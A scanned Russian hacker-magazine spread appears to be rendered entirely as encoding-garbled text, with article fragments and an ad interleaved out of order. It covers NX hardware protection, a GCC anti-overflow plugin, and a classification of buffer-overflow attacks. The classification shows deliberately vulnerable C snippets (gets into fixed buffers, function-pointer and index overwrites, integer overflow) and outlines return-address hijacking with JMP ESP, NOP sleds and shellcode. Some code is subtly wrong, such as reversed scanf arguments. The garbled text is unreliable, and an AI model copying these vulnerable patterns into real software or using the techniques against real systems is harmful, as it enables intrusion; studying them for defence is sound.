ñÿ, çà ñ÷åò ÷åãî áëîêèðóåòñÿ äåÿòåëü-
íîñòü òðîÿíñêèõ ïðîãðàìì, âûçûâàþ-
ùèõ ïåðåïîëíåíèå áóôåðà â öåëÿõ
ïîä÷èíåíèÿ ñåáå ñèñòåìû". Òî åñòü
îíè ïðàâÿò àðõèòåêòóðó õ86 íà àïïà-
ðàòíîì óðîâíå ;-). Åñòü ïðèÿòíûå íî-
âîñòè è îò Intel. Ñîâñåì íåäàâíî îôè-
öèàëüíî îáúÿâëåíî î òîì, ÷òî íà÷è-
íàÿ ñ ïðîöåññîðà Prescott â ñòåïèíã
E0 áóäåò äîáàâëåí íîâûé ôëàã NX,

çàïðåùàþùèé âûïîëíåíèå êîäà â
ñòåêå íà àïïàðàòíîì óðîâíå. Êàê âè-
äèì, óíè÷òîæàåòñÿ òåîðåòè÷åñêàÿ îñ-
íîâà àòàê íà ïåðåïîëíåíèÿ áóôåðà,
ïðè÷åì áîðþòñÿ ñ ýòîé îøèáêîé àðõè-
òåêòóðû ñàìè ïðîèçâîäèòåëè æåëåçà.
Íî íà ñåãîäíÿøíèé äåíü òàêîé ìåòîä
áîðüáû íåýôôåêòèâåí: äëÿ Windows
XP ïîääåðæêà ôëàãà NX áóäåò ââåäå-
íà òîëüêî â SP2, äëÿ îñòàëüíûõ âåð-
ñèé îíà âîîáùå ïîêà íå ïðåäâèäèòñÿ,
äëÿ Linux îïèñàíèå ïàò÷åé óæå äîñ-
òóïíî ïî àäðåñó redhat.com/~mingo/nx-
patches/QuickStart-NX.txt. Íî îòñóòñòâèå
ïðîãðàììíîé ïîääåðæêè - íå ñàìîå
ðåøàþùåå ïðåïÿòñòâèå â ðàñïðîñòðà-
íåíèè òàêîé çàùèòû, ãëàâíûì ÿâëÿåò-
ñÿ òî, ÷òî íè îäèí îáùåäîñòóïíûé
ïðîöåññîð íå èìååò òàêîãî ôëàãà!
Äëÿ ïðîöåññîðîâ AMD ïåðâûé êàìåíü
ñ òàêîé çàùèòîé - 64-áèòíûé Athlon. À
ó Intel ïîêà âñå â ïðîåêòàõ: íåò íè îä-
íîãî CPU ñ òàêîé àïïàðàòíîé çàùè-
òîé, åå îáåùàþò ëèøü â 64-áèòíûõ
ðåàëèçàöèÿõ è â P-IV íîâîãî ñòåïèíãà.

ÏÐÎÃÐÀÌÌÈÑÒÛ ÐÅØÀÞÒ
ÑÂÎÈ ÏÐÎÁËÅÌÛ ÑÀÌÈ

Íå òîëüêî ïðîèçâîäèòåëè ïðîöåñ-
ñîðîâ îçàáî÷åíû ïðîáëåìîé ïåðåïîë-
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"Âûõîäèò, ÷òî ïåðåïîëíåíèå áóôåðà - èçúÿí àðõèòåêòóðû õ86?" -
ñïðîñèøü òû.
"Äà, îò÷àñòè âèíîâàòà â âîçìîæíîñòè òàêîé àòàêè àðõèòåêòóðà õ86",-
îòâå÷ó ÿ ;-).

ÌÛÑËß

Ãîðèì! :-)

Êîïèðóÿ â áóôåð, ìû ìîæåì åãî
ïåðåïîëíèòü :-)



íåíèÿ áóôåðà, íî è ïðîãðàììèñòû èùóò âûõîä èç ñîçäàâ-
øåãîñÿ ïîëîæåíèÿ. Îäèí èç äåéñòâåííûõ ìåòîäîâ ïðåäëà-
ãàåò íàì ñàéò www.trl.ibm.com/projects/security/ssp. Ìåòîä ïðîñò è
ýôôåêòèâåí: èñõîäíûé êîä ïðîãðàììû ïîäâåðãàåòñÿ àâòî-
ìàòè÷åñêîìó àíàëèçó ïëàãèíîì GCC (êîòîðûé è ïðåäëàãàþò
íàì ðàçðàáîò÷èêè çàùèòû), è ïðè íàõîæäåíèè ïîòåíöèàëü-
íî îïàñíîãî ó÷àñòêà êîäà ïðîèñõîäèò åãî àâòîìàòè÷åñêàÿ
ìîäèôèêàöèÿ òàêèì îáðàçîì, ÷òî âåðîÿòíîñòü ïåðåïîëíå-
íèÿ áóôåðà ñâîäèòñÿ ê ìèíèìóìó. Ïðèìåð òàêîé îáðàáîòêè
ïîêàçàí â äâóõ ñëåäóþùèõ ëèñòèíãàõ.

/* 11. ëëèñòèíã ïïðîãðàììû ääî îîáðàáîòêè: //*
#include <stdio.h>
int main()
{
char buff[20] = {0}; /*âñå ýëåìåíòû ïðåäñòàâëÿþò ñîáîé "0" */
printf("Enter you network mask : "); /*ïî ìûñëè ïðîãðàììèñòà,

ìàñêà ñåòè íå ìîæåò áûòü áîëüøå 20, à çíà÷èò è ââîäèòü áîëüøå
íèêòî íå áóäåò ;-)*/
scanf(buff, "%s"); /*Âîò ýòà ôóíêöèÿ íåñåò âñþ îïàñíîñòü. Îíà íå

ïðîâåðÿåò äëèíó ââîäèìûõ äàííûõ, ÷òî ñðàçó îòêðûâàåò âîçìîæ-
íîñòü ïåðåïîëíåíèÿ áóôåðà*/
}

Ïîñëå òîãî êàê îòðàáîòàåò gcc ñ óñòàíîâëåííûì ïëàãèíîì,
ìîæíî ïðåäïîëîæèòü, àíàëèçèðóÿ àññåìáëåðíûé êîä, òà-
êîé âàðèàíò ëèñòèíãà (òî÷íî ñêàçàòü íåâîçìîæíî, òàê êàê
îí åãî ïðîñòî îòêîìïèëèðóåò):

/* 22. ïïðèìåðíûé ëëèñòèíã ïïîñëå îîáðàáîòêè ggcc //*
#include <stdio.h>
int main()
{
char buff[20] = {0}; /*äëèíà áóôåðà ñîõðàíÿåòñÿ*/
printf("Enter you network mask : ")
fgets(buff, sizeof(buff), stdin); /*òàêàÿ êîíñòðóêöèÿ ñ÷èòàåò òîëüêî

ïåðâûå 19 ñèìâîëîâ, ÷òî ïîçâîëèò èçáåæàòü ïåðåïîëíåíèÿ áóôå-
ðà ïðè íåêîððåêòíîì ïîëüçîâàòåëüñêîì ââîäå.*/
}

Àíàëîãè÷íî ïðîèñõîäèò çàìåíà ôóíêöèé strcpy(), strcmp()
è sprintf() íà strncpy(), strncmp() è snprint(). Êðîìå ýòîãî, èñ-
ïîëüçóþòñÿ íåêîòîðûå äðóãèå àëãîðèòìû çàùèòû îò òèïè÷-
íûõ àòàê ïåðåïîëíåíèÿ áóôåðà. 

ÏÎÄÂÎÄß ÈÒÎÃÈ
Îøèáêè ïðîãðàììèñòîâ â îáðàáîòêå äàííûõ ïðîãðàì-

ìîé î÷åíü ÷àñòî âñòàþò â îãðîìíûå ôèíàíñîâûå ïîòåðè
êîìïàíèÿì è îðãàíèçàöèÿì. È õîòÿ óæå øåñòíàäöàòü ëåò
íàçàä âèðóñ Ìîððèñà îòêðûë ýïîõó îøèáîê ïåðåïîëíåíèÿ
áóôåðà, ýòà ïðîáëåìà åùå î÷åíü äàëåêà îò ðåøåíèÿ. Ïîñ-
òîÿííû ñîîáùåíèÿ î íîâûõ è íîâûõ óÿçâèìîñòÿõ. Íî ìèð
íå ñòîèò íà ìåñòå! È åñòü íàäåæäà íà òî, ÷òî íîâûå òåõíî-
ëîãèè AMD, Intel è ðàçðàáîòêè ïðîãðàììèñòîâ ñìîãóò èñïðà-
âèòü íå òîëüêî îøèáêó ïåðåïîëíåíèÿ, íî è àðõèòåêòóðó,
ïîðîäèâøóþ åå. E

Ýððîð :-)

Ïèâíàÿ êðóæêà 
ñî øêàëîé ñ ëîãîòèïîì 
''Õàêåð'' 

ÅÑËÈ ÒÛ ÌÎËÎÄ, 

ÝÍÅÐÃÈ×ÅÍ È ÏÎÇÈÒÈÂÅÍ,

ÒÎ ÒÎÂÀÐÛ Â ÑÒÈËÅ «Õ» � 

ÝÒÎ ÒÎÂÀÐÛ Â ÒÂÎÅÌ ÑÒÈËÅ!

ÍÎÑÈ ÍÅ

ÑÍÈÌÀß!

19,99  óó.å.

Ôóòáîëêà ''Crack me'' ñ ëîãîòèïîì
''Õàêåð'' òåìíî-ñèíÿÿ, ñåðàÿ

4411,9999  óó..åå..

Êóðòêà - âåòðîâêà ''FBI'' ñ ëîãîòèïîì
''Õàêåð'' ÷åðíàÿ, òåìíî-ñèíÿÿ

Ôóòáîëêà ''Kill Bill Gates'' 
ñ ëîãîòèïîì ''Õàêåð'' æåëòàÿ, ÷åðíàÿ 

1133,9999  óó..åå..

1133,9999  óó..åå..

Êîæàíûé øíóðîê äëÿ ìîáèëüíîãî
òåëåôîíà ''Õàêåð'' 

Ôóòáîëêà ''Õàêåð Inside'' 
ñ ëîãîòèïîì ''Õàêåð'', êðàñíàÿ 

1122,9999  óó..åå..

Êðóæêà ''Matrix'' ñ ëîãîòèïîì ''Õàêåð''
÷åðíàÿ 

Çàæèãàëêà ìåòàëëè÷åñêàÿ ñ
ãðàâèðîâêîé ñ ëîãîòèïîì æóðíàëà

''Õàêåð'' 

7,9999  óó..åå..

Êîâðèê äëÿ ìûøè ''Îïàñíî äëÿ æèçíè''
ñ ëîãîòèïîì æóðíàëà ''Õàêåð''

(÷åðíûé)

1155,9999  óó..åå..

99,9999  óó..åå..

1133,9999  óó..åå..
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www.e-shop.ru   www.xakep.ru   www.gamepost.ru

* � ó.å. = óáèòûå åíîòû

(095) 928-6089  (095) 928-0360  (095) 928-3574

ÇÀÊÀÇÛ ÏÎ ÈÍÒÅÐÍÅÒÓ � ÊÐÓÃËÎÑÓÒÎ×ÍÎ!
ÇÀÊÀÇÛ ÏÎ ÒÅËÅÔÎÍÀÌ:



Êðèñ Êàñïåðñêè aka ìûùúõ

Ã ðÿçíîå íåáî, îáðå÷åííî ïëûâóùåå íàä âåðõóøêàìè áåçëèêèõ áåòîííûõ íåáîñêðåáîâ, ïîãðÿçøèõ â âîíþ÷åé æèæå
ïîòðåáèòåëüñêîãî áàðàõëà. Òîòàëüíàÿ âëàñòü ìåãàêîðïîðàöèé. Àáñîëþòíàÿ çàêðûòîñòü èíôîðìàöèè è ïîëíîå

îòñóòñòâèå ñâîáîäû âûáîðà... 

ÇÎÎÏÀÐÊ 
ÏÅÐÅÏÎËÍßÞÙÈÕÑß 
ÁÓÔÅÐÎÂ 
ÊËÀÑÑÈÔÈÊÀÖÈß ÓßÇÂÈÌÎÑÒÅÉ ÒÈÏÀ BUFFER OVERFLOW

òî íå âîñïàëåííàÿ
ôàíòàçèÿ îáêóðåííîãî
ôàíòàñòà. Ýòî ïîñòå-
ïåííî ñòàíîâèòñÿ ðå-
àëüíîñòüþ. Äèçàññåìá-

ëèðîâàíèå â ðÿäå ñòðàí óæå çàïðåùå-
íî. Ïóáëè÷íîå îïèñàíèå òåõíè÷åñêèõ
äåòàëåé õàêåðñêèõ àòàê è óÿçâèìîñòåé
íà ïîðîãå çàïðåòà. 

Îäíàêî ìîùíûå ìåãàêîðïîðàöèè
åùå ÷ðåçâû÷àéíî óÿçâèìû. Èõ ïðîã-
ðàììíîå îáåñïå÷åíèå äûðÿâî äî íå-
âîçìîæíîñòè, è ÷åì áîëüøå çàïëàò
íàêëàäûâàåòñÿ íà ïðîäóêò, òåì óðîä-
ëèâåå è íåóñòîé÷èâåå îí ñòàíîâèòñÿ.
×òî ìåøàåò íàì ýòèì âîñïîëüçîâàòü-
ñÿ? Óäàðèì æå õàêåðñêèì àâòîïðîáå-
ãîì ïî âèðòóàëüíîìó áåçäîðîæüþ!

ÒÈÏÛ ÏÅÐÅÏÎËÍÅÍÈÉ
Ñóùåñòâóþò ðàçëè÷íûå òèïû ïå-

ðåïîëíåíèé. Ñàìîå èçâåñòíîå èç íèõ -
ïîñëåäîâàòåëüíîå ïåðåïîëíåíèå ïðè
çàïèñè, êîòîðîå âîçíèêàåò îáû÷íî
ïðè íåáðåæíîì îáðàùåíèè ñ ôóíêöè-
ÿìè êîïèðîâàíèÿ ïàìÿòè (memcpy,
memmove, strcpy, strcat, sprintf è äðó-
ãèìè, ñòàòèñòèêà "ïåðåïîëíÿåìîñòè"
êîòîðûõ èçîáðàæåíà íà äèàãðàììå),
"ïðîëàìûâàþùèìè" äíî áóôåðà è ïå-
ðåçàïèñûâàþùèìè îäíó èëè íåñêîëü-
êî ÿ÷ååê ïàìÿòè çà åãî êîíöîì. Ìåíåå
ïîïóëÿðíî èíäåêñíîå ïåðåïîëíåíèå,
òåñíî ñâÿçàííîå ñ ñèøíûìè "íåäî-
ìàññèâàìè" è ïðîáëåìîé êîíòðîëÿ èõ
ãðàíèö. Ðàññìîòðèì ñëåäóþùèé êîä:
f(int i) {char buf[BUF_SIZE]; ... return
buf[i]}. Î÷åâèäíî, ÷òî, åñëè i >=
BUF_SIZE, ôóíêöèÿ f âîçâðàùàåò ñî-
äåðæèìîå ÿ÷ååê, ñîâñåì íå ïðèíàäëå-
æàùèõ ìàññèâó buf.

Òàêèì îáðàçîì, îñíîâíûõ òèïîâ ïå-
ðåïîëíåíèÿ ÷åòûðå: ïîñëåäîâàòåëü-
íîå ïåðåïîëíåíèå ïðè ÷òåíèè, ïîñëå-
äîâàòåëüíîå ïåðåïîëíåíèå ïðè çàïè-
ñè, èíäåêñíîå ïåðåïîëíåíèå ïðè ÷òå-
íèè, èíäåêñíîå ïåðåïîëíåíèå ïðè çà-
ïèñè. Íàèâûñøóþ îïàñíîñòü ïðåäñ-
òàâëÿþò ïåðåçàïèñûâàþùèå ïåðåïîë-
íåíèÿ, ïðè áëàãîïðèÿòíîì ñòå÷åíèè
îáñòîÿòåëüñòâ ïåðåäàþùèå àòàêóþ-
ùåìó êîíòðîëüíûé ïàêåò àêöèé óäà-
ëåííîãî óïðàâëåíèÿ óÿçâèìîé ìàøè-
íîé. Ìíîãèå ñ÷èòàþò, ÷òî ïåðåïîëíå-

íèÿ ïðè ÷òåíèè ìåíåå îïàñíû è ïðè-
âîäÿò, â îñíîâíîì, ëèøü ê óòå÷êå ñåê-
ðåòíîé èíôîðìàöèè (íàïðèìåð, ïàðî-
ëåé). Îäíàêî, ýòî íåâåðíî: äàæå âïîë-
íå áåçîáèäíûå íà âèä ïåðåïîëíåíèÿ
ñïîñîáíû ïîðîæäàòü êàñêàä âòîðè÷-
íûõ ïåðåïîëíåíèé, ïóñêàþùèé ñèñòå-
ìó â ðàçíîñ è çà÷àñòóþ óñïåâàþùèé
ïåðåä ñìåðòüþ ñäåëàòü ÷òî-òî ïîëåç-
íîå äëÿ õàêåðà, îñîáåííî åñëè ýòîò
ðàçíîñ îñóùåñòâëÿåòñÿ ïî çàðàíåå
ïðîäóìàííîìó ïëàíó.

Â çàâèñèìîñòè îò òèïà ïåðåçàïèñû-
âàåìûõ ïåðåìåííûõ ðàçëè÷àþò, ïî
ìåíüøåé ìåðå, òðè âèäà àòàê: àòàêè íà
ñêàëÿðíûå ïåðåìåííûå, àòàêè íà èí-
äåêñû (óêàçàòåëè) è àòàêè íà áóôåðà.
Ñêàëÿðíûå ïåðåìåííûå ÷àñòî õðàíÿò
ôëàãè àâòîðèçàöèè ïîëüçîâàòåëåé,
óðîâíè ïðèâèëåãèé, ñ÷åò÷èêè öèêëîâ
è ïðî÷åå.

Åñëè ïåðåïîëíåíèå áóôåðà buf ïðîè-
çîéäåò ïîñëå âûçîâà strlen, ïåðåìåííàÿ
b áóäåò æåñòîêî çàòåðòà è íàø öèêë âû-
ëåòèò äàëåêî íà ïðåäåëû src è dst!

Àòàêà íà óêàçàòåëè ìîæåò ïðåñëåäî-
âàòü òðè öåëè: à) ïåðåäà÷ó óïðàâëå-
íèÿ íà ïîñòîðîííèé êîä (àíàëîã
CALL); á) ìîäèôèêàöèþ ïðîèçâîëü-
íîé ÿ÷åéêè (àíàëîã POKE); â) ÷òåíèå
ïðîèçâîëüíîé ÿ÷åéêè (àíàëîã PEEK).

Íà÷íåì ñ àòàêè, èìåþùåé öåëüþ ïå-
ðåäà÷ó óïðàâëåíèÿ, êàê íàèáîëåå
ìîùíîé è ðàçðóøèòåëüíîé. Îíà äå-
ëèòñÿ íà äâà ïîäòèïà: 

I) ïåðåäà÷à óïðàâëåíèÿ íà ôóíêöèþ,
óæå ñóùåñòâóþùóþ â ïðîãðàììå; 

II) ïåðåäà÷à óïðàâëåíèÿ íà êîä,
ñôîðìèðîâàííûé ñàìèì çëîóìûø-
ëåííèêîì (shell-êîä).

Ïðîùå âñåãî êèíóòü âåòêó óïðàâëå-
íèÿ íà óæå ñóùåñòâóþùóþ ôóíêöèþ.
Ýòî ìîæíî ñäåëàòü, íàïðèìåð, òàê (ñì.
êîä #3). Çíàÿ àäðåñ ôóíêöèè root (à
åãî ìîæíî âûÿñíèòü äèçàññåìáëèðî-
âàíèåì), áóäåò íåòðóäíî ïåðåçàïè-
ñàòü óêàçàòåëü zzz òàê, ÷òîáû ïðè âû-
çîâå ôóíêöèè ffh óïðàâëåíèå ïîëó-
÷àë root! Åñòåñòâåííî, ïåðåäàâàòü óï-
ðàâëåíèå íà íà÷àëî ôóíêöèè íåîáÿ-
çàòåëüíî - "ïîëåçíûé" (äëÿ õàêåðà)
êîä ìîæåò ðàñïîëàãàòüñÿ è â åå ñåðå-
äèíå (ìîæíî, íàïðèìåð, ïðîïóñòèòü
ïðîöåäóðó àóòåíòèôèêàöèè è ñðàçó
çàïðûãíóòü â öåíòðàëüíûé øòàá). Îï-
ðåäåëåííàÿ ïðîáëåìà âîçíèêàåò ñ
èíèöèàëèçàöèåé ðåãèñòðîâ è ïåðåäà-
÷åé ïàðàìåòðîâ, îäíàêî âñåãäà ìîæíî
ïîäîáðàòü ôóíêöèþ, íå ïðèíèìàþ-
ùóþ íèêàêèõ ïàðàìåòðîâ, èëè ïåðå-
äàòü èõ êîñâåííûì îáðàçîì.

Ãäå ìîæíî íàéòè óêàçàòåëè íà êîä?
Ïðåæäå âñåãî, ýòî àäðåñ âîçâðàòà,
ðàñïîëîæåííûé âíèçó êàäðà ñòåêà,
çàòåì èäóò âèðòóàëüíûå òàáëèöû è
óêàçàòåëè this, áåç êîòîðûõ íå îáõî-
äèòñÿ íè îäíà ïðîãðàììà Ñè++, óêàçà-
òåëè íà ôóíêöèè äèíàìè÷åñêè çàãðó-
æàåìûõ áèáëèîòåê
(LoadLibrary/GetProcAddress) òàêæå
íå ðåäêîñòü, íó è äðóãèå òèïû óêàçà-
òåëåé òîæå âñòðå÷àþòñÿ.

Shell-êîä - íàìíîãî áîëåå ìîùíàÿ
øòóêà, ïîçâîëÿþùàÿ âûòâîðÿòü ñ óÿç-
âèìîé ïðîãðàììîé ÷òî óãîäíî. Â ïëàíå
âîçðàùåíèÿ ê êîäó #3 ñïðîñèì ñåáÿ: à
÷òî ïðîèçîéäåò, åñëè â ïåðåìåííóþ
zzz çàíåñòè óêàçàòåëü íà ñàì ïåðåïîë-
íÿþùèéñÿ áóôåð buf, â êîòîðûé âíåä-
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Ïîäàâëÿþ-
ùåå áîëü-
øèíñòâî
óäàëåííûõ
àòàê îñóùå-
ñòâëÿåòñÿ
ïóòåì ïåðå-
ïîëíåíèÿ
áóôåðà,
÷àñòíûì
ñëó÷àåì êî-
òîðîãî ÿâ-
ëÿåòñÿ ïå-
ðåïîëíåíèå
(ñðûâ) ñòå-
êà. 

Èç èíñòðó-
ìåíòîâ ïî-
íàäîáÿòñÿ
êîìïèëÿòîð,
îòëàä÷èê,
äèçàññåìá-
ëåð è ëþáîé
HEX-ðåäàê-
òîð ïî âêó-
ñó, à òàêæå
ïðèíòåð,
ïèâî è îñò-
ðî çàòî÷åí-
íûé êàðàí-
äàø.

f(char *dst, char *src)
{
char buf[xxx]; int a; int b;
...
b = strlen(src);
...
for (a = 0; a < b; a++) *dst++ = *src++;

}

ÊÎÄ #1. ÀÒÀÊÀ ÍÀ
Ñ×ÅÒ×ÈÊ ÖÈÊËÀ

f(char *psswd)
{
char buf[MAX_BUF_SIZE]; int auth_flag =

PASSWORD_NEEDED;
printf("ñêàæè ïàðîëü:"); gets(buf);
if (auth_flag != PASSWORD_NEEDED)

return PASSWORD_OK;
return strcmp(passwd, buf);

}

ÊÎÄ #2. ÀÒÀÊÀ ÍÀ
ÏÅÐÅÌÅÍÍÓÞ-ÔËÀÃ



ðèòü õàêåðñêèé êîä, îðãàíèçóþùèé
íàì óäàëåííûé shell? Ýòà êëàññè÷åñ-
êàÿ ñõåìà àòàêè, îïèñàííàÿ ïðàêòè÷åñ-
êè âî âñåõ ôàêàõ è ìàíóàëàõ ïî áåçî-
ïàñíîñòè, â äåéñòâèòåëüíîñòè ïîëíàÿ
ôèãíÿ. Ïðè ïðàêòè÷åñêîé ðåàëèçàöèè
àòàêè ñòàëêèâàåøüñÿ ñ òàêèì êîëè÷å-
ñòâîì ïðîáëåì, ÷òî ÷óâñòâóåøü ñåáÿ
âåðáëþäîì, ïîïàâøèì íà õàâ÷èê. Èí-
òåðåñóþùèõñÿ ìû îòîøëåì ê ñòàòüå
"Îøèáêè ïåðåïîëíåíèÿ áóôåðà èçâíå
è èçíóòðè êàê îáîáùåííûé îïûò ðå-
àëüíûõ àòàê" íà wasm.ru, à ñàìè ïå-
ðåéäåì ê óêàçàòåëÿì íà äàííûå.

Óêàçàòåëè íà äàííûå ãîðàçäî áîëåå
ðàñïðîñòðàíåíû è êîâàðíû. Ðàññìîò-
ðèì ïðîñòåéøèé ïðèìåð (ñì. êîä #4).
Åñëè ïåðåçàïèñàòü óêàçàòåëü b âìåñòå
ñî ñêàëÿðíîé ïåðåìåííîé a, òî ìû ïî-
ëó÷èì ñâîåîáðàçíûé àíàëîã áåéñèê-
ôóíêöèè POKE, ñ ïîìîùüþ êîòîðîé
ìîæíî ìîäèôèöèðîâàòü ëþáóþ ÿ÷åé-
êó ïðîãðàììû (è óêàçàòåëè íà êîä â
òîì ÷èñëå). Ýòî ñàìîå ìîùíîå îðóæèå,
êîòîðîå òîëüêî ñóùåñòâóåò â êèáåð-
ïðîñòðàíñòâå!

Ïðàâäà, åãî ìîùü áóäåò íåïîëíîé
áåç ôóíêöèè PEEK, ïîçâîëÿþùåé ÷è-
òàòü ïðîèçâîëüíûå ÿ÷åéêè, òàê êàê çà-
÷àñòóþ öåëåâîé àäðåñ çàïèñè íå èç-
âåñòåí, è, ÷òîáû íå áëóæäàòü âïîòü-
ìàõ, íåïëîõî áû óâèäåòü "æèâîé"
äàìï óÿçâèìîé ïðîãðàììû. 

Èíäåêñû ïðåäñòàâëÿþò ñîáîé ðàçíî-
âèäíîñòü óêàçàòåëåé. Ìîæíî ñêàçàòü,
÷òî ýòî îòíîñèòåëüíûå óêàçàòåëè, îò-
ñ÷èòûâàåìûå îò îïðåäåëåííîé"áàçû",
êîòîðîé, êàê ïðàâèëî, ÿâëÿåòñÿ íà÷à-
ëî ïåðåïîëíÿþùåãîñÿ áóôåðà.

Ðàññìîòðèì ñëåäóþùèé ïðèìåð è
ñðàâíèì åãî ñ êîäîì #4, ÷òîáû âûÿñ-
íèòü, åñòü ëè ìåæäó íèìè ðàçíèöà.
Ïðè âû÷èñëåíèè ýôôåêòèâíîãî àäðå-

ñà Ñè ïðîñòî ñêëàäûâàåò óêàçàòåëü ñ
èíäåêñîì: addr = (p+b). Âàðüèðóÿ b, ìû
ìîæåì ïîëó÷èòü ëþáîé addr, è p íàì
íå ïîìåøàåò. Ïðàâäà, òóò åñòü îäíî
íî. Ñêàçàííîå ñïðàâåäëèâî ëèøü ïî
îòíîøåíèþ ê èíäåêñàì òèïà äâîéíîãî
ñëîâà, à äàëüíîáîéíîñòü áàéòîâûõ
èíäåêñîâ î÷åíü äàæå îãðàíè÷åíà!

Îò èíäåêñîâ ðóêîé ïîäàòü äî öåëî-
÷èñëåííîãî ïåðåïîëíåíèÿ, ñóòü êîòî-
ðîãî ìîæíî ïîíÿòü èç ñëåäóþùåãî
ïðèìåðà:

Åñëè ñóììà a è b ðàâíà èëè ïðåâû-
øàåò 1.00.00.00.00h, òî ïðîèçîéäåò
ïåðåïîëíåíèå ðàçðÿäíîé ñåòêè è ðå-
çóëüòàò âû÷èñëåíèé îêàæåòñÿ óñå÷åí.

Ñî çíàêîâûìè ïåðåìåííûìè åùå èí-
òåðåñíåå: ñóììà äâóõ ïîëîæèòåëüíûõ
÷èñåë çà÷àñòóþ îêàçûâàåòñÿ ìåíüøå
íóëÿ (äîñòàòî÷íî ëèøü çàòåðåòü ñòàð-
øèé áèò - íà àðõèòåêòóðå x86 îí è
åñòü çíàêîâûé). Âû÷èñëåíèÿ ñ ïðåîá-
ðàçîâàíèåì òèïà - âîîáùå ïîëíûé
øâàõ: a = (DWORD) (byte b - byte c). Åñ-
ëè b < c, òî íåáîëüøîå ïî ìîäóëþ îò-
ðèöàòåëüíîå ÷èñëî ïðåâðàòèòñÿ â
î÷åíü áîëüøîå ïîëîæèòåëüíîå, è åñ-
ëè îíî èñïîëüçóåòñÿ â èíäåêñíîì âû-
ðàæåíèè, à ïðîâåðêè âûõîäà çà ãðàíè-
öû ìàññèâà îòñóòñòâóþò - ïðîèçîéäåò
åãî êàòàñòðîôè÷åñêîå ïåðåïîëíåíèå
(íà ýòîì, êñòàòè ãîâîðÿ, è áûëà îñíîâà
ëåãåíäàðíàÿ àòàêà teardrop).

Îñòàëüíûå òèïû ïåðåïîëíåíèé ÷ðåç-
âû÷àéíî ìàëî ðàñïðîñòðàíåíû, è ïîý-
òîìó ìû íå áóäåì èõ ðàññìàòðèâàòü.

ÒÐÈ ÊÎÍÒÈÍÅÍÒÀ: ÑÒÅÊ,
ÄÀÍÍÛÅ È ÊÓ×À

Ïåðåïîëíÿþùèåñÿ áóôåðà ìîãóò
ðàñïîëàãàòüñÿ â îäíîì èç òðåõ ìåñò àä-
ðåñíîãî ïðîñòðàíñòâà ïðîöåññà: ñòåêå
(àâòîìàòè÷åñêîé ïàìÿòè), ñåãìåíòå äàí-
íûõ (õîòÿ â 9x/NT ýòî íèêàêîé íå ñåã-
ìåíò) è êó÷å (äèíàìè÷åñêîé ïàìÿòè).

Íàèáîëåå ðàñïðîñòðàíåíî ñòåêîâîå
ïåðåïîëíåíèå, õîòÿ åãî çíà÷èìîñòü
ñèëüíî ïðåóâåëè÷åíà. Äíî ñòåêà
âàðüèðóåòñÿ îò îäíîé îïåðàöèîííîé
ñèñòåìû ê äðóãîé, à âûñîòà âåðøèíû
çàâèñèò îò õàðàêòåðà ïðåäûäóùèõ
çàïðîñîâ ê ïðîãðàììå, ïîýòîìó àáñî-
ëþòíûé àäðåñ àâòîìàòè÷åñêèõ ïåðå-
ìåííûõ àòàêóþùåìó ïðàêòè÷åñêè íè-
êîãäà íå èçâåñòåí. Ñ äðóãîé ñòîðîíû,
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Óñòðîéñòâî ñòåêà

Ñîñòîÿíèå ñòåêà äî è ïîñëå ïåðåïîëíåíèÿ

"UNIX
Assembly
Codes
Development
for Vulnera-
bilities
Illustration
Purposes" -
âåëèêîëåï-
íîå ðóêîâî-
äñòâî ïî
òåõíèêå ïå-
ðåïîëíåíèÿ
áóôåðîâ è
çàõâàòó
êîíòðîëÿ
óäàëåííîé
ìàøèíîé
(http://open
sores.the-
bunker.net/
pub/mir-
rors/black-
hat/presen-
tations/bh-
usa-
01/LSD/bh-
usa-01-
lsd.pdf).

root() {...};
...
f()
{
char buf[MAX_BUF_SIZE]; int (*zzz)();
...
zzz = GetProcAddress(dllbase, "ffh");
...
gets(buf);
...
zzz();

}

ÊÎÄ #3. ÀÒÀÊÀ ÍÀ
ÊÎÄÎÂÛÅ ÓÊÀÇÀÒÅËÈ

f()
{
char buf[MAX_BUF_SIZE]; int a; int *b;
...
gets(buf);
...
*b = a;

}

ÊÎÄ #4. ÀÒÀÊÀ ÒÈÏÀ
"POKE"

f()
{
char buf[MAX_BUF_SIZE]; int *b;
...
gets(buf);
...
printf("%x\n", *b);

}

ÊÎÄ #5. ÀÒÀÊÀ ÒÈÏÀ
"PEEK"

f()
{
int *p; char buf[MAX_BUF_SIZE]; int a; int

b;
...
gets(buf);
...
p[b] = a;

}

ÊÎÄ #6. ÀÒÀÊÀ ÍÀ
ÈÍÄÅÊÑÛ

DWORD sum(DWORD a, DWORD b)
{
return a + b;

}

ÊÎÄ #7.
ÖÅËÎ×ÈÑËÅÍÍÎÅ
ÏÅÐÅÏÎËÍÅÍÈÅ



àâòîìàòè÷åñêèå áóôåðà ïðèâëåêà-
òåëüíû òåì, ÷òî â íåïîñðåäñòâåííîé
áëèçîñòè ñ èõ êîíöîì ëåæèò àäðåñ
âîçâðàòà èç ôóíêöèè (àáñîëþòíûé,
êîíå÷íî), è åñëè åãî çàòåðåòü, òî óï-
ðàâëåíèå ïîëó÷èò ñîâñåì äðóãàÿ âåò-
êà ïðîãðàììû! Ïðîùå âñåãî ïîäñó-
íóòü àäðåñ óæå ñóùåñòâóþùåé ôóíê-
öèè, ñëîæíåå - ïåðåäàòü óïðàâëåíèå
íåïîñðåäñòâåííî íà ñàì ïåðåïîëíÿþ-
ùèéñÿ áóôåð. Ýòî ìîæíî ñäåëàòü íåñ-
êîëüêèìè ïóòÿìè. Ïåðâûé - íàéòè â
ïàìÿòè èíñòðóêöèþ JMP ESP è ïåðå-
äàòü åé óïðàâëåíèå, à îíà ïåðåäàñò
åãî íà âåðøèíó êàðäà ñòåêà, ÷óòü íèæå
êîòîðîãî ðàñïîëîæåí shell-êîä. Øàíñû
äîéòè äî shell-êîäà, ïðåîäîëåâ âåñü
ìóñîð íà äîðîãå, äîñòàòî÷íî íåâåëèêè,
íî îíè âñå-òàêè åñòü. Âòîðîé ïóòü: åñ-
ëè ðàçìåðû ïåðåïîëíÿþùåãîñÿ áóôå-
ðà ïðåâûøàþò íåïîñòîÿíñòâî åãî ðàç-
ìåùåíèÿ â ïàìÿòè, ïåðåä shell-êîäîì
ìîæíî ðàñïîëîæèòü äëèííóþ öåïî÷êó
êîìàíä-ïóñòûøåê (NOP'îâ) è ïåðåäàòü
óïðàâëåíèå íà ñåðåäèíó (àâîñü íå
ïðîìàæåò!). Ýòîò ñïîñîá èñïîëüçîâàë
÷åðâü Love San, èçâåñòíûé òåì, ÷òî ÷à-
